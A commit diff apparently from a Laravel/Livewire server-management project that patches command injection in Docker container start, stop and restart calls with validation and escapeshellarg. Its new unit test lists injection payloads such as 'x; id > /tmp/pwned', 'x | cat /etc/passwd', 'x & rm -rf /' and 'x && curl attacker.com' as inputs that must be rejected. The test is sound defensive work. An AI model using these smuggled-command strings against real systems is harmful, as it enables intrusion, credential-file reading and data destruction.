fix(livewire): add input validation to unmanaged container operations (#9172)
This commit is contained in:
commit
944a038349
3 changed files with 52 additions and 6 deletions
|
|
@ -3,6 +3,7 @@
|
|||
namespace App\Livewire\Server;
|
||||
|
||||
use App\Models\Server;
|
||||
use App\Support\ValidationPatterns;
|
||||
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
|
||||
use Livewire\Component;
|
||||
|
||||
|
|
@ -29,6 +30,11 @@ public function getListeners()
|
|||
|
||||
public function startUnmanaged($id)
|
||||
{
|
||||
if (! ValidationPatterns::isValidContainerName($id)) {
|
||||
$this->dispatch('error', 'Invalid container identifier.');
|
||||
|
||||
return;
|
||||
}
|
||||
$this->server->startUnmanaged($id);
|
||||
$this->dispatch('success', 'Container started.');
|
||||
$this->loadUnmanagedContainers();
|
||||
|
|
@ -36,6 +42,11 @@ public function startUnmanaged($id)
|
|||
|
||||
public function restartUnmanaged($id)
|
||||
{
|
||||
if (! ValidationPatterns::isValidContainerName($id)) {
|
||||
$this->dispatch('error', 'Invalid container identifier.');
|
||||
|
||||
return;
|
||||
}
|
||||
$this->server->restartUnmanaged($id);
|
||||
$this->dispatch('success', 'Container restarted.');
|
||||
$this->loadUnmanagedContainers();
|
||||
|
|
@ -43,6 +54,11 @@ public function restartUnmanaged($id)
|
|||
|
||||
public function stopUnmanaged($id)
|
||||
{
|
||||
if (! ValidationPatterns::isValidContainerName($id)) {
|
||||
$this->dispatch('error', 'Invalid container identifier.');
|
||||
|
||||
return;
|
||||
}
|
||||
$this->server->stopUnmanaged($id);
|
||||
$this->dispatch('success', 'Container stopped.');
|
||||
$this->loadUnmanagedContainers();
|
||||
|
|
|
|||
|
|
@ -11,7 +11,9 @@
|
|||
use App\Events\ServerReachabilityChanged;
|
||||
use App\Helpers\SslHelper;
|
||||
use App\Jobs\CheckAndStartSentinelJob;
|
||||
use App\Jobs\CheckTraefikVersionForServerJob;
|
||||
use App\Jobs\RegenerateSslCertJob;
|
||||
use App\Livewire\Server\Proxy;
|
||||
use App\Notifications\Server\Reachable;
|
||||
use App\Notifications\Server\Unreachable;
|
||||
use App\Services\ConfigurationRepository;
|
||||
|
|
@ -77,8 +79,8 @@
|
|||
* - Traefik image uses the 'latest' tag (no fixed version tracking)
|
||||
* - No Traefik version detected on the server
|
||||
*
|
||||
* @see \App\Jobs\CheckTraefikVersionForServerJob Where this data is populated
|
||||
* @see \App\Livewire\Server\Proxy Where this data is read and displayed
|
||||
* @see CheckTraefikVersionForServerJob Where this data is populated
|
||||
* @see Proxy Where this data is read and displayed
|
||||
*/
|
||||
#[OA\Schema(
|
||||
description: 'Server model',
|
||||
|
|
@ -719,17 +721,17 @@ public function definedResources()
|
|||
|
||||
public function stopUnmanaged($id)
|
||||
{
|
||||
return instant_remote_process(["docker stop -t 0 $id"], $this);
|
||||
return instant_remote_process(['docker stop -t 0 '.escapeshellarg($id)], $this);
|
||||
}
|
||||
|
||||
public function restartUnmanaged($id)
|
||||
{
|
||||
return instant_remote_process(["docker restart $id"], $this);
|
||||
return instant_remote_process(['docker restart '.escapeshellarg($id)], $this);
|
||||
}
|
||||
|
||||
public function startUnmanaged($id)
|
||||
{
|
||||
return instant_remote_process(["docker start $id"], $this);
|
||||
return instant_remote_process(['docker start '.escapeshellarg($id)], $this);
|
||||
}
|
||||
|
||||
public function getContainers()
|
||||
|
|
@ -1460,7 +1462,7 @@ public function url()
|
|||
|
||||
public function restartContainer(string $containerName)
|
||||
{
|
||||
return instant_remote_process(['docker restart '.$containerName], $this, false);
|
||||
return instant_remote_process(['docker restart '.escapeshellarg($containerName)], $this, false);
|
||||
}
|
||||
|
||||
public function changeProxy(string $proxyType, bool $async = true)
|
||||
|
|
|
|||
28
tests/Unit/UnmanagedContainerCommandInjectionTest.php
Normal file
28
tests/Unit/UnmanagedContainerCommandInjectionTest.php
Normal file
|
|
@ -0,0 +1,28 @@
|
|||
<?php
|
||||
|
||||
use App\Support\ValidationPatterns;
|
||||
|
||||
it('rejects container IDs with command injection characters', function (string $id) {
|
||||
expect(ValidationPatterns::isValidContainerName($id))->toBeFalse();
|
||||
})->with([
|
||||
'semicolon injection' => 'x; id > /tmp/pwned',
|
||||
'pipe injection' => 'x | cat /etc/passwd',
|
||||
'command substitution backtick' => 'x`whoami`',
|
||||
'command substitution dollar' => 'x$(whoami)',
|
||||
'ampersand background' => 'x & rm -rf /',
|
||||
'double ampersand' => 'x && curl attacker.com',
|
||||
'newline injection' => "x\nid",
|
||||
'space injection' => 'x id',
|
||||
'redirect output' => 'x > /tmp/pwned',
|
||||
'redirect input' => 'x < /etc/passwd',
|
||||
]);
|
||||
|
||||
it('accepts valid Docker container IDs', function (string $id) {
|
||||
expect(ValidationPatterns::isValidContainerName($id))->toBeTrue();
|
||||
})->with([
|
||||
'short hex id' => 'abc123def456',
|
||||
'full sha256 id' => 'a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2',
|
||||
'container name' => 'my-container',
|
||||
'name with dots' => 'my.container.name',
|
||||
'name with underscores' => 'my_container_name',
|
||||
]);
|
||||
Loading…
Reference in a new issue